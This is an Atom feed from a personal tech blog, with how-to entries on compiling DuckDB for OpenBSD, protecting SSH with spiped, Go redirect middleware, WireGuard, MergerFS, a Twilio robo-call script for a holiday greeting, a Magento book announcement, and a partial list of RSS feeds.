<?xml version="1.0" encoding="utf-8"?>
	<feed xmlns="http://www.w3.org/2005/Atom">
	<title>MarkSanborn.net</title>
	<link href="https://www.marksanborn.net/atom.xml" rel="self"/>
	<link href="https://www.marksanborn.net/"/>
	<id>https://www.marksanborn.net/</id>
	<updated>2026-07-28T15:39:28Z</updated>
	<author>
		<name>Mark Sanborn</name>
		<email>marcrosoft@gmail.com</email>
	</author>
	
	<entry>
		<title>Compiling Duckdb On Openbsd</title>
		<link href="https://www.marksanborn.net/howto/compiling-duckdb-on-openbsd/index.html" />
		<updated>2024-11-07T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/compiling-duckdb-on-openbsd/index.html</id>
		<content type="html">&lt;p&gt;Unfortunately duckdb doesn&amp;rsquo;t have an official package for OpenBSD so we need to compile it from source.&lt;/p&gt;

&lt;p&gt;It turns out you can&amp;rsquo;t get extensions after compilation because there are no official packages for OpenBSD. So make sure to compile with the extensions you need.&lt;/p&gt;

&lt;p&gt;Switch to a known release tag: &lt;code&gt;git checkout tags/v1.1.2&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pkg_add gmake cmake&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git clone https://github.com/duckdb/duckdb.git&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cd duckdb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CORE_EXTENSIONS=&#39;autocomplete;httpfs;icu;parquet;json&#39; gmake&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Lock Down SSH with spiped</title>
		<link href="https://www.marksanborn.net/howto/lock-down-ssh-with-spiped/index.html" />
		<updated>2024-10-06T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/lock-down-ssh-with-spiped/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server&#34;&gt;SSH has had a history of vulnerabilities&lt;/a&gt; which could lead to remote code execution or compromise your server. Spiped protects against 0-day vulnerabilities. It prevents anyone without the key from even attempting to connect.&lt;/p&gt;

&lt;p&gt;From the author:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Since data is authenticated before being forwarded to the target, this can allow you to SSH to a host while protecting you in the event that someone finds an exploitable bug in the SSH daemon — this serves the same purpose as port knocking or a firewall which restricts source IP addresses which can connect to SSH.&amp;gt; Spiped is a utility for creating encrypted and authenticated pipes between socket addresses. It&amp;rsquo;s like a force field for your SSH connection.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;What is spiped?&lt;/p&gt;

&lt;p&gt;Spiped is a utility for creating encrypted and authenticated pipes between socket addresses. It&amp;rsquo;s like a force field for your SSH connection.&lt;/p&gt;

&lt;p&gt;Why use spiped?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Adds an extra layer of encryption&lt;/li&gt;
&lt;li&gt;Protects against man-in-the-middle attacks&lt;/li&gt;
&lt;li&gt;Hides your SSH port from scanners&lt;/li&gt;
&lt;li&gt;Works with any SSH client&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;Let&amp;rsquo;s secure your server.&lt;/h2&gt;

&lt;p&gt;Step 1: Install spiped&lt;/p&gt;

&lt;p&gt;On Ubuntu or Debian:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install spiped
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;On CentOS or Fedora:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo yum install epel-release
sudo yum install spiped
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Step 2: Generate a secret key&lt;/p&gt;

&lt;p&gt;Spiped needs a shared secret key. Create one:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;dd if=/dev/urandom bs=32 count=1 of=/etc/spiped-secret
chmod 600 /etc/spiped-secret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This creates a 32-byte random key and restricts access to root.&lt;/p&gt;

&lt;p&gt;Step 3: Set up spiped on your VPS&lt;/p&gt;

&lt;p&gt;Create a systemd service file:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo nano /etc/systemd/system/spiped-ssh.service
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Paste this content:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[Unit]
Description=Spiped for SSH
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/spiped -F -d -s &#39;[0.0.0.0]:8022&#39; -t &#39;[127.0.0.1]:22&#39; -k /etc/spiped-secret
Restart=always

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This tells spiped to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Listen on all interfaces, port 8022&lt;/li&gt;
&lt;li&gt;Forward traffic to localhost, port 22 (SSH)&lt;/li&gt;
&lt;li&gt;Use the secret key we generated&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Save and close the file.&lt;/p&gt;

&lt;p&gt;Step 4: Start and enable the service&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo systemctl start spiped-ssh
sudo systemctl enable spiped-ssh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Step 5: Configure your firewall&lt;/p&gt;

&lt;p&gt;Allow incoming connections on port 8022:&lt;/p&gt;

&lt;p&gt;For UFW:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo ufw allow 8022/tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;For firewalld:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo firewall-cmd --add-port=8022/tcp --permanent
sudo firewall-cmd --reload
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Step 6: Set up spiped on your local machine&lt;/p&gt;

&lt;p&gt;Install spiped on your local machine using the same method as Step 1.&lt;/p&gt;

&lt;p&gt;Create a script to start the local spiped instance:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;nano ~/spiped-ssh-connect.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Add this content:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/bin/bash
spiped -e -s [127.0.0.1]:8022 -t [YOUR_VPS_IP]:8022 -k /path/to/spiped-secret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Replace &lt;code&gt;[YOUR_VPS_IP]&lt;/code&gt; with your VPS&amp;rsquo;s actual IP address.&lt;/p&gt;

&lt;p&gt;Make the script executable:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;chmod +x ~/spiped-ssh-connect.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Step 7: Connect to your VPS&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Start the local spiped instance:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;~/spiped-ssh-connect.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;In a new terminal, connect via SSH:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ssh -p 8022 username@localhost
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You&amp;rsquo;re now connected through an encrypted spiped tunnel!&lt;/p&gt;

&lt;p&gt;Optional: Disable password authentication&lt;/p&gt;

&lt;p&gt;For maximum security, use SSH keys and disable password authentication:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;On your local machine, generate an SSH key pair:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ssh-keygen -t ed25519 -C &amp;quot;your_email@example.com&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Copy the public key to your VPS:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ssh-copy-id -p 8022 username@localhost
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;On your VPS, edit the SSH config:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo nano /etc/ssh/sshd_config
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Set these options:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;PasswordAuthentication no
PubkeyAuthentication yes
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Restart the SSH service:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo systemctl restart ssh
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;Troubleshooting&lt;/h2&gt;

&lt;p&gt;Can&amp;rsquo;t connect? Check these:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Is spiped running on both machines?&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo systemctl status spiped-ssh
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Are you using the correct port (8022)?&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Is your firewall allowing connections?&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Did you copy the secret key to your local machine?&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Are the IP addresses in your local script correct?&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Spiped vs. VPN&lt;/p&gt;

&lt;p&gt;Why use spiped instead of a VPN?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Simpler setup&lt;/li&gt;
&lt;li&gt;Less overhead&lt;/li&gt;
&lt;li&gt;Focused on securing just SSH&lt;/li&gt;
&lt;li&gt;Can be used alongside a VPN&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;However, a VPN secures all traffic. Choose based on your needs.&lt;/p&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;You&amp;rsquo;ve now fortified your VPS&amp;rsquo;s SSH connection. Spiped adds a powerful layer of security, making life much harder for attackers.&lt;/p&gt;

&lt;p&gt;Remember:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keep your secret key safe&lt;/li&gt;
&lt;li&gt;Update your systems regularly&lt;/li&gt;
&lt;li&gt;Monitor for unusual activity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With these steps, you&amp;rsquo;ve significantly boosted your server&amp;rsquo;s security. Sleep easier knowing your VPS is better protected against SSH-based attacks.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Golang Naked Redirect WWW Middleware</title>
		<link href="https://www.marksanborn.net/howto/golang-naked-redirect-www-middleware/index.html" />
		<updated>2024-03-02T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/golang-naked-redirect-www-middleware/index.html</id>
		<content type="html">&lt;p&gt;It is important to make sure you site&amp;rsquo;s URL is either naked &lt;code&gt;yoursite.com&lt;/code&gt; or with &lt;code&gt;www.&lt;/code&gt; like &lt;code&gt;www.yoursite.com&lt;/code&gt;. One should redirect to the other and you should keep is consistent for SEO.&lt;/p&gt;

&lt;p&gt;If you redirect naked to &lt;code&gt;www.&lt;/code&gt;, and you use Go, you can use the following Go middleware to have all naked requests redirect with 301 to &lt;code&gt;www.&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;func RedirectNakedToWWW(handler http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		// if host doesn&#39;t have www. redirect
		if !strings.HasPrefix(r.Host, &amp;quot;www.&amp;quot;) {
			http.Redirect(w, r, fmt.Sprintf(&amp;quot;https://www.%s&amp;quot;, r.Host)+r.URL.String(), http.StatusMovedPermanently)
			return
		}
		handler.ServeHTTP(w, r)
	})
}
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>WireGuard a Fast, Modern, and Secure way to Connect to Your Home Network</title>
		<link href="https://www.marksanborn.net/howto/wireguard-a-fast-modern-secure-way-to-connect-home/index.html" />
		<updated>2020-07-04T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/wireguard-a-fast-modern-secure-way-to-connect-home/index.html</id>
		<content type="html">&lt;p&gt;There are many guides out there on how to use &lt;a href=&#34;https://www.wireguard.com/&#34;&gt;WireGuard&lt;/a&gt; to create your own personal VPN to route all your traffic through a VPS (Virtual Private Server) for privacy or other reasons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This guide will focus on creating a VPN so you can connect to your home network on the go&lt;/strong&gt;.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;This is guide is based on &lt;a href=&#34;https://securityespresso.org/tutorials/2019/03/22/vpn-server-using-wireguard-on-ubuntu/&#34;&gt;How to setup your own VPN server using WireGuard on Ubuntu&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Motivation / Why?&lt;/h2&gt;

&lt;p&gt;To connect to home network which is behind a typical NAT/Router securely in order to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Access file shares&lt;/li&gt;
&lt;li&gt;Access movies through Plex&lt;/li&gt;
&lt;li&gt;Grab the code you were working on that you forgot to push&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can &lt;code&gt;ping&lt;/code&gt; your phone (or access any running services) wherever it is as long as it is connected to the VPN.&lt;/p&gt;

&lt;h2&gt;Requirements&lt;/h2&gt;

&lt;p&gt;You will need a public server on the internet with a static IP address as most of our devices like phones, ipad, home server, etc will be behind a NAT/firewall. The public server will give our VPN a central spoke to route traffic to the devices behind a NAT. Fortunately, these are about $5/month these days.&lt;/p&gt;

&lt;p&gt;Install WireGuard on Ubuntu or see: &lt;a href=&#34;https://www.wireguard.com/install/&#34;&gt;WireGuard Installation&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;add-apt-repository ppa:wireguard/wireguard
apt-get update # you can skip this on Ubuntu &amp;gt;= 18.04
apt-get install wireguard
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Activate the &lt;code&gt;wireguard&lt;/code&gt; kernel module without having to reboot.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo modprobe wireguard&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /etc/wireguard
umask 077
wg genkey | sudo tee privatekey | wg pubkey | sudo tee publickey
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;sudo apt install openresolv&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You have to get client pub key from the output of &lt;code&gt;sudo wg&lt;/code&gt; the &lt;code&gt;publickey&lt;/code&gt; file is not correct when setting the peer on the server.&lt;/p&gt;

&lt;p&gt;Add a peer:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo wg set wg0 peer THEIRPUBLICKEY allowed-ips 10.10.0.4/32,fd86:ea04:1111::4/128&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Remove a peer:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo wg set wg0 peer THEIRPUBLICKEY remove&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you already have a config in &lt;code&gt;/etc/wireguard/wg0.conf&lt;/code&gt; you can use &lt;code&gt;wg-quick up wg0&lt;/code&gt; to connect to the VPN.&lt;/p&gt;

&lt;p&gt;You may need to &lt;code&gt;sudo modprobe wireguard&lt;/code&gt; after a kernel upgrade.&lt;/p&gt;

&lt;p&gt;Enable on reboot:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo systemctl enable wg-quick@wg0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Add an iOS device:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Install the WireGuard app&lt;/li&gt;
&lt;li&gt;Add a tunnel from scratch&lt;/li&gt;
&lt;li&gt;Set name to whatever makes sense&lt;/li&gt;
&lt;li&gt;Generate keypair&lt;/li&gt;
&lt;li&gt;Set address to the IP address you want this device to take i.e. &lt;code&gt;10.10.0.5/32&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Add spoke/VPS as peer

&lt;ul&gt;
&lt;li&gt;Add endpoint as the public static IP of your VPS/spoke&lt;/li&gt;
&lt;li&gt;Added allowed IPs i.e. &lt;code&gt;10.10.0.0/24&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Persistent keepalive 1&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Copy phone&amp;rsquo;s public key to server&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo wg set wg0 peer THEIRPUBLICKEY allowed-ips 10.10.0.5/32,fd86:ea04:1111::4/128&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Notes on MergerFS</title>
		<link href="https://www.marksanborn.net/howto/merger-fs/index.html" />
		<updated>2019-11-04T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/merger-fs/index.html</id>
		<content type="html">&lt;p&gt;Install mergerfs&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo apt install mergerfs&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Mount it&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/mnt/data1:/mnt/data2 /mnt/usb fuse.mergerfs category.create=mfs,nonempty,defaults,allow_other,minfreespace=20G,fsname=mergerfsPool 0 0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Reboot to mount as drives may already be mounted/used&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>OSX: Never Paste with Style</title>
		<link href="https://www.marksanborn.net/howto/never-paste-with-style/index.html" />
		<updated>2015-05-03T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/never-paste-with-style/index.html</id>
		<content type="html">&lt;p&gt;I never want to copy a chunk of text and then later paste that text with all of its styles and formatting.  I personally found that I have no purpose for this.  My styles are never aligned with the same styles that I am copying from.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Unfortunately, this is the default copy/paste behavior of OSX.&lt;/p&gt;

&lt;p&gt;Lets change that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open &lt;strong&gt;System Preferences&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select &lt;strong&gt;Keyboard&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select tab &lt;strong&gt;Keyboard Shortcuts&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select &lt;strong&gt;Application Shortcuts&lt;/strong&gt; from the left list box&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;+&lt;/strong&gt; below right list box&lt;/li&gt;
&lt;li&gt;Select &lt;strong&gt;All Applications&lt;/strong&gt; for &lt;strong&gt;Application&lt;/strong&gt; input box&lt;/li&gt;
&lt;li&gt;Type &lt;strong&gt;Paste and Match Style&lt;/strong&gt; into the &lt;strong&gt;Menu Title&lt;/strong&gt; input box&lt;/li&gt;
&lt;li&gt;In the &lt;strong&gt;Keyboard Shortcut&lt;/strong&gt; input box, type &lt;strong&gt;command-v&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;add&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Robo Calling with Twilio</title>
		<link href="https://www.marksanborn.net/howto/robo-calling-with-twillio/index.html" />
		<updated>2012-07-15T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/robo-calling-with-twillio/index.html</id>
		<content type="html">&lt;p&gt;Every one hates to get political or an automated spam robo call; however, I recently had the opportunity to create one that people loved and it was stupid simple thanks to &lt;a href=&#34;http://www.twilio.com/&#34;&gt;Twilio&lt;/a&gt;.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;My girlfriend has a tradition of reciting the speech from the movie &lt;a href=&#34;http://www.imdb.com/title/tt0116629/&#34;&gt;Independence Day&lt;/a&gt;, on our Independence Day:&lt;/p&gt;

&lt;p&gt;&lt;iframe width=&#34;560&#34; height=&#34;315&#34; src=&#34;http://www.youtube.com/embed/oj16vfbsM9A&#34; frameborder=&#34;0&#34; allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;She has the speech memorized and had been manually calling her friends each year to deliver the performance.  People loved it but her list of people to call grew to over 100 people which took over three hours of calling last year.&lt;/p&gt;

&lt;p&gt;This year I told her I could probably help her out and automate it.  I didn&amp;rsquo;t expect it to be so easy.&lt;/p&gt;

&lt;p&gt;I first had her export her contacts from her phone into a CSV where she edited some of the contacts.  We then used the following Ruby script that I created with the fantastic &lt;a href=&#34;https://github.com/twilio/twilio-ruby/&#34;&gt;twilio-ruby&lt;/a&gt; library to load the CSV and loop through each phone number:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ruby&#34;&gt;    require &#39;rubygems&#39;
    require &#39;twilio-ruby&#39;
    require &#39;csv&#39;

    # put your own credentials here
    account_sid = &#39;ACCOUNTID&#39;
    auth_token = &#39;TOKEN&#39;

    # set up a client to talk to the Twilio REST API
    @client = Twilio::REST::Client.new account_sid, auth_token

    CSV.foreach(&#39;phonenumbers.csv&#39;, :headers =&amp;gt; true) do |csv_obj|
        if csv_obj[&#39;PhoneNumbers&#39;]
            phone_number = csv_obj[&#39;PhoneNumbers&#39;]
            puts phone_number # &amp;lt;-- Watch the progress
            @call = @client.account.calls.create(
            :from =&amp;gt; &#39;+15551234567&#39;,
            :to =&amp;gt; phone_number,
              :url =&amp;gt; &#39;http://someinternetaccessiblepath.com/twilio.html&#39;
              )
          end
    end
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I set the from phone number to hers so to her friends it appears that the call is coming directly from her phone.&lt;/p&gt;

&lt;p&gt;Twilio requires a URL to hit once the recipient picks up.  Since my response is static I hosted both the MP3 and Response XML on &lt;a href=&#34;http://aws.amazon.com/s3/&#34;&gt;Amazon S3&lt;/a&gt; to avoid the hassle of setting up a web server.&lt;/p&gt;

&lt;p&gt;Here is all that is required:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;Response&amp;gt;
    &amp;lt;Play&amp;gt;https://s3.amazonaws.com/somes3bucket/id4/id4-high.mp3&amp;lt;/Play&amp;gt;
&amp;lt;/Response&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We used &lt;a href=&#34;http://audacity.sourceforge.net/&#34;&gt;Audacity&lt;/a&gt; to put some background music to the speech and add some megaphone like echo for maximum effect.&lt;/p&gt;

&lt;p&gt;Here is the &lt;a href=&#34;/wp-content/uploads/2012/02/id4-high.mp3&#34;&gt;end result&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Documentation for Magento Developers</title>
		<link href="https://www.marksanborn.net/miscellaneous/documentation-for-magento-developers/index.html" />
		<updated>2012-06-19T00:00:00Z</updated>
		<id>https://www.marksanborn.net/miscellaneous/documentation-for-magento-developers/index.html</id>
		<content type="html">&lt;p&gt;I am excited to announce that I have a new book coming out!&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Lately, I have been busy working on my side &lt;a href=&#34;/projects/&#34;&gt;projects&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;One that I am particularly proud of is that I have moved from Montana to San Francisco and joined the &lt;a href=&#34;http://www.vonnda.com&#34;&gt;Vonnda&lt;/a&gt; team.&lt;/p&gt;

&lt;p&gt;Since joining Vonnda I have learned a lot about the inner workings of &lt;a href=&#34;http://www.magentocommerce.com/&#34;&gt;Magento&lt;/a&gt; and how to properly develop extensions for the platform.  We have really made Magento do some amazing things, but it wasn&amp;rsquo;t always easy.&lt;/p&gt;

&lt;p&gt;When I first set out developing my first Magento extension I was shocked to find that there was a serious lack of documentation.  I struggled for weeks before I could get Magento to do what I wanted.  Although I did finally found some resources on developing extensions for Magento, the information was hidden across the Internet in blogs.  Many of them were helpful but most were out of date.  The entrepreneur in me decided it was time to create the documentation that I wish I had when I started developing Magento extensions.&lt;/p&gt;

&lt;p&gt;I am proud to announce that &lt;a href=&#34;http://www.magedocumentation.com&#34;&gt;Documentation for Magento Developers&lt;/a&gt; will be coming out Summer 2012.&lt;/p&gt;

&lt;p&gt;The documentation will be both a reference and a quick start guide to developing your first Magento extension.  It will also be a living guide with updates to support future versions of Magento so you don&amp;rsquo;t have to worry about the documentation going stale.&lt;/p&gt;

&lt;p&gt;The DRM-free documentation will include: &lt;em&gt;PDF&lt;/em&gt;, &lt;em&gt;ePub&lt;/em&gt;, &lt;em&gt;MOBI&lt;/em&gt;, &lt;em&gt;TXT&lt;/em&gt;, source code, and several cheat sheets.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.magedocumentation.com&#34;&gt;Reserve your copy today for a discount&lt;/a&gt;!&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>What RSS Feeds Does Mark Sanborn Read?</title>
		<link href="https://www.marksanborn.net/uncategorized/what-rss-feeds-does-mark-sanborn-read/index.html" />
		<updated>2009-09-24T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/what-rss-feeds-does-mark-sanborn-read/index.html</id>
		<content type="html">&lt;p&gt;Ever wonder what RSS feeds I subscribe to?  Here is a quick list of most of the feeds I subscribe to.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2&gt;Niche Alerts&lt;/h2&gt;

&lt;p&gt;These are alerts that I have setup so I can see if I am mentioned on twitter or if a general term is being talked about.  Some of these keywords will generate tons of alerts.  For the ones with many alerts I will usually scan these weekly to see any trending topics.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.google.com/reader/public/atom/user/18387753511983399247/state/com.google/alerts/4908075302405648915&#34;&gt;Google Alerts: Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.google.com/reader/public/atom/user/18387753511983399247/state/com.google/alerts/6322463353489051089&#34;&gt;Google Alerts: Linux Howto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://search.twitter.com/search.atom?q=nixtutor&#34;&gt;Twitter Search: Nixtutor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://search.twitter.com/search.atom?q=linux&#34;&gt;Twitter Search : Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://search.twitter.com/search.atom?q=faceoff+podcast&#34;&gt;Twitter Search: Faceoff Podcast&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.technorati.com/search/Linux&#34;&gt;Technorati Search for: Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://search.twitter.com/search.atom?q=rocketshipit&#34;&gt;Twitter Search: Rocketshipit&lt;/a&gt; - UPS, FedEx, USPS web shipping business that I do.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I also have some various work related niche alerts that I won&amp;rsquo;t list here.&lt;/p&gt;

&lt;h2&gt;Friend&amp;rsquo;s Blogs&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://jaderobbins.com/feed/&#34;&gt;Jade Robbins&lt;/a&gt; - All about my good friend Jade Robbins the co-host of &lt;a href=&#34;http://faceoffshow.com&#34;&gt;Faceoff Show&lt;/a&gt; and founder of &lt;a href=&#34;http://montanafragfest.com&#34;&gt;Montana Fragfest&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds2.feedburner.com/EricWendelin&#34;&gt;Eric Wendelin&amp;rsquo;s Blog&lt;/a&gt; - I wrote a guest post for Eric a long time ago and been a subscriber ever since.  He talks about, programming and productivity with open-source tools.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Linux&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://0ddn1x.wordpress.com/feed&#34;&gt;0ddn1x: tricks with *nix&lt;/a&gt; - A nice compilation of good linux articles across the net.  Most of these come from social media sites.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.feedburner.com/AdamsTechTalkLinuxHowtosDiscussion&#34;&gt;Adam&amp;rsquo;s Tech Talk, Linux HOWTOs &amp;amp; Discussion, PHP, MySQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.bablotech.com/feed&#34;&gt;BabloTech&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://debaday.debian.net/feed/&#34;&gt;Debian Package of the Day&lt;/a&gt; - An excellent site.  They definitely don&amp;rsquo;t post daily however.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.feedburner.com/linuxscrew&#34;&gt;Linux * Screw&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.markshuttleworth.com/feed&#34;&gt;Mark Shuttleworth (Founder of Ubuntu)&lt;/a&gt; - Posts are few and far between but are usually worth it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://feeds.cyberciti.biz/Nixcraft-LinuxFreebsdSolarisTipsTricks&#34;&gt;nixCraft Linux Sys Admin Blog&lt;/a&gt; - Nice alternative to &lt;a href=&#34;http://www.nixtutor.com/&#34;&gt;Nixtutor&lt;/a&gt;.  Usually Nix admin articles.&lt;/li&gt;
